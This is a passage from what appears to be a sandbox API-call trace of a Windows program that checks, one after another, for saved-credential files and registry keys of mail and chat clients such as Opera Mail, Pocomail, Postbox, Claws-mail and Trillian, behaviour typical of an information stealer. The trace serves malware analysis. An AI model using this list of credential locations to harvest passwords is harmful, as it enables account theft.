lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat", nBufferLength=0x105, lpBuffer=0x3ce570, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat", lpFilePart=0x0) returned 0x40 [0208.564] GetLastError () returned 0x3f0 [0208.564] SetErrorMode (uMode=0x1) returned 0x0 [0208.565] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Opera Mail\\Opera Mail\\wand.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\opera mail\\opera mail\\wand.dat"), fInfoLevelId=0x0, lpFileInformation=0x3ce9f0 | out: lpFileInformation=0x3ce9f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.565] GetLastError () returned 0x3 [0208.565] SetErrorMode (uMode=0x0) returned 0x1 [0208.568] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\IncrediMail\\Identities", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9bc | out: phkResult=0x3ce9bc*=0x0) returned 0x2 [0208.573] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Pocomail\\accounts.ini", nBufferLength=0x105, lpBuffer=0x3ce550, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Pocomail\\accounts.ini", lpFilePart=0x0) returned 0x37 [0208.573] GetLastError () returned 0x3 [0208.573] SetErrorMode (uMode=0x1) returned 0x0 [0208.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Pocomail\\accounts.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\pocomail\\accounts.ini"), fInfoLevelId=0x0, lpFileInformation=0x3ce9d0 | out: lpFileInformation=0x3ce9d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.573] GetLastError () returned 0x3 [0208.573] SetErrorMode (uMode=0x0) returned 0x1 [0208.576] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Qualcomm\\Eudora\\CommandLine", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce9a8 | out: phkResult=0x3ce9a8*=0x0) returned 0x2 [0208.617] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\The Bat!", nBufferLength=0x105, lpBuffer=0x3ce574, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\The Bat!", lpFilePart=0x0) returned 0x2a [0208.617] GetLastError () returned 0x3 [0208.617] SetErrorMode (uMode=0x1) returned 0x0 [0208.617] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\The Bat!" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\the bat!"), fInfoLevelId=0x0, lpFileInformation=0x3ce9f4 | out: lpFileInformation=0x3ce9f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.617] GetLastError () returned 0x2 [0208.617] SetErrorMode (uMode=0x0) returned 0x1 [0208.618] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini", lpFilePart=0x0) returned 0x36 [0208.618] GetLastError () returned 0x2 [0208.618] SetErrorMode (uMode=0x1) returned 0x0 [0208.618] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\postbox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.618] GetLastError () returned 0x3 [0208.619] SetErrorMode (uMode=0x0) returned 0x1 [0208.619] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini", nBufferLength=0x105, lpBuffer=0x3ce41c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini", lpFilePart=0x0) returned 0x36 [0208.619] GetLastError () returned 0x3 [0208.619] SetErrorMode (uMode=0x1) returned 0x0 [0208.619] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Postbox\\profiles.ini" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\postbox\\profiles.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0xffffffff [0208.619] GetLastError () returned 0x3 [0208.620] SetErrorMode (uMode=0x0) returned 0x1 [0208.625] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0208.625] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ce478, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0208.625] GetLastError () returned 0x3f0 [0208.625] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail", nBufferLength=0x105, lpBuffer=0x3ce4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail", lpFilePart=0x0) returned 0x2c [0208.625] GetLastError () returned 0x3f0 [0208.625] SetErrorMode (uMode=0x1) returned 0x0 [0208.625] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\claws-mail"), fInfoLevelId=0x0, lpFileInformation=0x3ce960 | out: lpFileInformation=0x3ce960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.626] GetLastError () returned 0x2 [0208.626] SetErrorMode (uMode=0x0) returned 0x1 [0208.626] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail\\clawsrc", nBufferLength=0x105, lpBuffer=0x3ce4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail\\clawsrc", lpFilePart=0x0) returned 0x34 [0208.626] GetLastError () returned 0x2 [0208.626] SetErrorMode (uMode=0x1) returned 0x0 [0208.626] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Claws-mail\\clawsrc" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\claws-mail\\clawsrc"), fInfoLevelId=0x0, lpFileInformation=0x3ce960 | out: lpFileInformation=0x3ce960*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.626] GetLastError () returned 0x3 [0208.626] SetErrorMode (uMode=0x0) returned 0x1 [0208.629] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\RimArts\\B2\\Settings", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ce97c | out: phkResult=0x3ce97c*=0x0) returned 0x2 [0208.629] GetFullPathNameW (in: lpFileName="Folder.lst", nBufferLength=0x105, lpBuffer=0x3ce55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\Folder.lst", lpFilePart=0x0) returned 0x1e [0208.629] GetLastError () returned 0x3 [0208.629] SetErrorMode (uMode=0x1) returned 0x0 [0208.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\Folder.lst" (normalized: "c:\\windows\\system32\\folder.lst"), fInfoLevelId=0x0, lpFileInformation=0x3ce9dc | out: lpFileInformation=0x3ce9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.630] GetLastError () returned 0x2 [0208.630] SetErrorMode (uMode=0x0) returned 0x1 [0208.631] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x5ec490 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming") returned 0x0 [0208.631] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ce50c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0208.631] GetLastError () returned 0x3f0 [0208.632] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Trillian\\users\\global\\accounts.dat", nBufferLength=0x105, lpBuffer=0x3ce574, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Trillian\\users\\global\\accounts.dat", lpFilePart=0x0) returned 0x44 [0208.632] GetLastError () returned 0x3f0 [0208.632] SetErrorMode (uMode=0x1) returned 0x0 [0208.632] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Trillian\\users\\global\\accounts.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\trillian\\users\\global\\accounts.dat"), fInfoLevelId=0x0, lpFileInformation=0x3ce9f4 | out: lpFileInformation=0x3ce9f4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0208.632] GetLastError () returned 0x3 [0208.632] SetErrorMode (uMode=0x0) returned 0x1 [0208.634] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc11d [0208.634] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLTYPE") returned 0xc126 [0208.635] GetSystemMetrics (nIndex=75) returned 1 [0208.638] GetStockObject (i=5) returned 0x1900015 [0208.638] GetLastError () returned 0x3 [0208.638] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0208.638] CoTaskMemAlloc (cb=0x4c) returned 0x5e5a28 [0208.638] RegisterClassW (lpWndClass=0x59f310) returned 0xc11e [0208.639] GetLastError () returned 0x3 [0208.639] CoTaskMemFree (pv=0x5e5a28) [0208.639] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0208.639] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.33c0d9d", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20144 [0208.640] SetWindowLongW (hWnd=0x20144, nIndex=-4, dwNewLong=1995187677) returned 7935618 [0208.640] GetWindowLongW (hWnd=0x20144, nIndex=-4) returned 1995187677 [0208.640] SetWindowLongW (hWnd=0x20144, nIndex=-4, dwNewLong=7935666) returned 1995187677 [0208.640] GetWindowLongW (hWnd=0x20144, nIndex=-4) returned 7935666 [0208.640] GetWindowLongW (hWnd=0x20144, nIndex=-16) returned 113311744 [0208.641] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc12c [0208.641] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x20144, Msg=0x24, wParam=0x0, lParam=0x3ce8a8) returned 0x0 [0208.641] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x20144, Msg=0x81, wParam=0x0, lParam=0x3ce89c) returned 0x1 [0208.641] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x20144, Msg=0x83, wParam=0x0, lParam=0x3ce888) returned 0x0 [0208.641] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x20144, Msg=0x1, wParam=0x0, lParam=0x3ce89c) returned 0x0 [0208.642] GetClientRect (in: hWnd=0x20144, lpRect=0x3ce618 | out: lpRect=0x3ce618) returned 1 [0208.642] GetWindowRect (in: hWnd=0x20144, lpRect=0x3ce618 | out: lpRect=0x3ce618) returned 1 [0208.642] GetLastError () returned 0x3 [0208.643] GetParent (hWnd=0x20144) returned 0x0 [0208.643] OleInitialize (pvReserved=0x0) returned 0x0 [0208.643] GetLastError () returned 0x3 [0208.643] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x3cef0c | out: lplpMessageFilter=0x3cef0c*=0x0) returned 0x0 [0208.644] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 1 [0208.645] IsWindowUnicode (hWnd=0x30142) returned 1 [0208.645] GetMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ceee4) returned 1 [0208.645] TranslateMessage (lpMsg=0x3ceee4) returned 0 [0208.646] DispatchMessageW (lpMsg=0x3ceee4) returned 0x1 [0208.646] CoGetContextToken (in: pToken=0x3ce554 | out: pToken=0x3ce554) returned 0x0 [0208.646] CoGetContextToken (in: pToken=0x3ce524 | out: pToken=0x3ce524) returned 0x0 [0208.646] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.646] IUnknown:Release (This=0x5beba0) returned 0x1 [0208.646] IUnknown:Release (This=0x5beba0) returned 0x0 [0208.646] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.646] IUnknown:Release (This=0x5d46f8) returned 0x1 [0208.646] IUnknown:Release (This=0x5d46f8) returned 0x0 [0208.646] IUnknown:Release (This=0x573c898) returned 0x3 [0208.646] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.646] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.647] IUnknown:Release (This=0x573d51c) returned 0x1 [0208.647] IUnknown:Release (This=0x573d51c) returned 0x0 [0208.650] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] IUnknown:Release (This=0x5e0038) returned 0x0 [0208.651] IUnknown:Release (This=0x5e0090) returned 0x0 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.651] WbemLocator:IUnknown:Release (This=0x573d304) returned 0x2 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] IUnknown:Release (This=0x5dff88) returned 0x0 [0208.651] IUnknown:Release (This=0x5dff5c) returned 0x0 [0208.651] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.651] IUnknown:Release (This=0x573d884) returned 0x1 [0208.651] IUnknown:Release (This=0x573d884) returned 0x0 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.656] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.657] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.657] IUnknown:Release (This=0x573d8c0) returned 0x1 [0208.657] WbemLocator:IUnknown:Release (This=0x573d304) returned 0x1 [0208.657] WbemLocator:IUnknown:Release (This=0x573d304) returned 0x0 [0208.657] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.657] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.657] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.657] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.658] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.658] IUnknown:Release (This=0x573d8c0) returned 0x0 [0208.658] IUnknown:Release (This=0x5e00e8) returned 0x0 [0208.658] IUnknown:Release (This=0x5e00bc) returned 0x0 [0208.659] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.659] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.659] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.659] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.659] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0208.659] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.659] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x1 [0208.659] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x0 [0208.659] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.660] IUnknown:Release (This=0x5745c60) returned 0x1 [0208.660] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.660] IUnknown:Release (This=0x619ef0) returned 0x1 [0208.660] IUnknown:Release (This=0x619ef0) returned 0x0 [0208.660] CoGetContextToken (in: pToken=0x3ce4b4 | out: pToken=0x3ce4b4) returned 0x0 [0208.660] IUnknown:Release (This=0x624150) returned 0x1 [0208.660] IUnknown:Release (This=0x624150) returned 0x0 [0208.662] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 1 [0208.662] IsWindowUnicode (hWnd=0x30142) returned 1 [0208.663] GetMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3ceee4) returned 1 [0208.663] TranslateMessage (lpMsg=0x3ceee4) returned 0 [0208.663] DispatchMessageW (lpMsg=0x3ceee4) returned 0x1 [0208.663] CoGetContextToken (in: pToken=0x3ce554 | out: pToken=0x3ce554) returned 0x0 [0208.663] CoGetContextToken (in: pToken=0x3ce520 | out: pToken=0x3ce520) returned 0x0 [0208.663] WbemLocator:IUnknown:Release (This=0x600154) returned 0x1 [0208.663] IUnknown:Release (This=0x5745b5c) returned 0x0 [0208.671] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 0 [0208.672] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 0 [0208.673] WaitMessage () returned 1 [0272.091] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 0 [0272.091] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x40162, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1 [0272.092] PeekMessageW (in: lpMsg=0x3ceee4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3ceee4) returned 0 [0272.092] WaitMessage () Thread: id = 159 os_tid = 0x5cc Thread: id = 160 os_tid = 0x5f4 [0186.737] CoGetContextToken (in: pToken=0x47cf378 | out: pToken=0x47cf378) returned 0x800401f0 [0186.756] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0208.495] CoGetContextToken (in: pToken=0x47cf358 | out: pToken=0x47cf358) returned 0x0 [0208.495] CoGetContextToken (in: pToken=0x47cf2e8 | out: pToken=0x47cf2e8) returned 0x0 [0208.495] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x0 [0208.496] CoGetContextToken (in: pToken=0x47cf2e8 | out: pToken=0x47cf2e8) returned 0x0 [0208.496] WbemLocator:IUnknown:Release (This=0x5740fd8) returned 0x0 [0208.496] CoGetContextToken (in: pToken=0x47cf358 | out: pToken=0x47cf358) returned 0x0 [0208.496] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x7457beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x47cf32c | out: ppvObject=0x47cf32c*=0x599300) returned 0x0 [0208.496] CObjectContext::ContextCallback () returned 0x0 [0208.660] IUnknown:Release (This=0x599300) returned 0x1 [0208.662] IUnknown:Release (This=0x5745c60) returned 0x0 [0208.662] CoGetContextToken (in: pToken=0x47cf2b4 | out: pToken=0x47cf2b4) returned 0x0 [0208.662] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x7457beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x47cf288 | out: ppvObject=0x47cf288*=0x599300) returned 0x0 [0208.662] CObjectContext::ContextCallback () returned 0x0 [0208.666] IUnknown:Release (This=0x599300) returned 0x1 [0208.666] IUnknown:Release (This=0x5992f0) returned 0x0 [0208.666] IUnknown:Release (This=0x5745708) returned 0x0 [0208.668] CloseHandle (hObject=0x318) returned 1 [0208.668] GetLastError () returned 0x0 [0208.668] CloseHandle (hObject=0x310) returned 1 [0208.668] GetLastError () returned 0x0 [0208.668] CloseHandle (hObject=0x2c8) returned 1 [0208.668] GetLastError () returned 0x0 [0208.669] CloseHandle (hObject=0x2c4) returned 1 [0208.669] GetLastError () returned 0x0 [0208.669] CloseHandle (hObject=0x288) returned 1 [0208.669] GetLastError () returned 0x0 Thread: id = 161 os_tid = 0x7f0 Thread: id = 162 os_tid = 0x7ec Thread: id = 163 os_tid = 0x5e4 Thread: id = 164 os_tid = 0x5e0 Thread: id = 207 os_tid = 0x360 [0189.370] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0189.413] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x589f0a4 | out: lpiid=0x589f0a4) returned 0x0 [0189.413] CoGetClassObject (in: rclsid=0x5f423c*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7444a3b0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x589f00c | out: ppv=0x589f00c*=0x573fd00) returned 0x0 [0189.413] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd00, riid=0x74537ecc*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x589ee3c | out: ppvObject=0x589ee3c*=0x0) returned 0x80004002 [0189.414] WbemDefPath:IClassFactory:CreateInstance (in: This=0x573fd00, pUnkOuter=0x0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ee74 | out: ppvObject=0x589ee74*=0x573fd10) returned 0x0 [0189.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ec18 | out: ppvObject=0x589ec18*=0x573fd10) returned 0x0 [0189.414] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x589ebd4 | out: ppvObject=0x589ebd4*=0x0) returned 0x80004002 [0189.414] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x3 [0189.414] CoGetContextToken (in: pToken=0x589ea60 | out: pToken=0x589ea60) returned 0x0 [0189.414] CoGetObjectContext (in: riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5c9b3c | out: ppv=0x5c9b3c*=0x599460) returned 0x0 [0189.415] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589ea48 | out: ppvObject=0x589ea48*=0x5c9138) returned 0x0 [0189.415] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c9138, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x589ea50 | out: pCid=0x589ea50*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.415] WbemDefPath:IUnknown:Release (This=0x5c9138) returned 0x3 [0189.416] CoGetContextToken (in: pToken=0x589ea58 | out: pToken=0x589ea58) returned 0x0 [0189.416] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x4 [0189.416] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x589eacc | out: ppvObject=0x589eacc*=0x0) returned 0x80004002 [0189.416] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x3 [0189.416] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 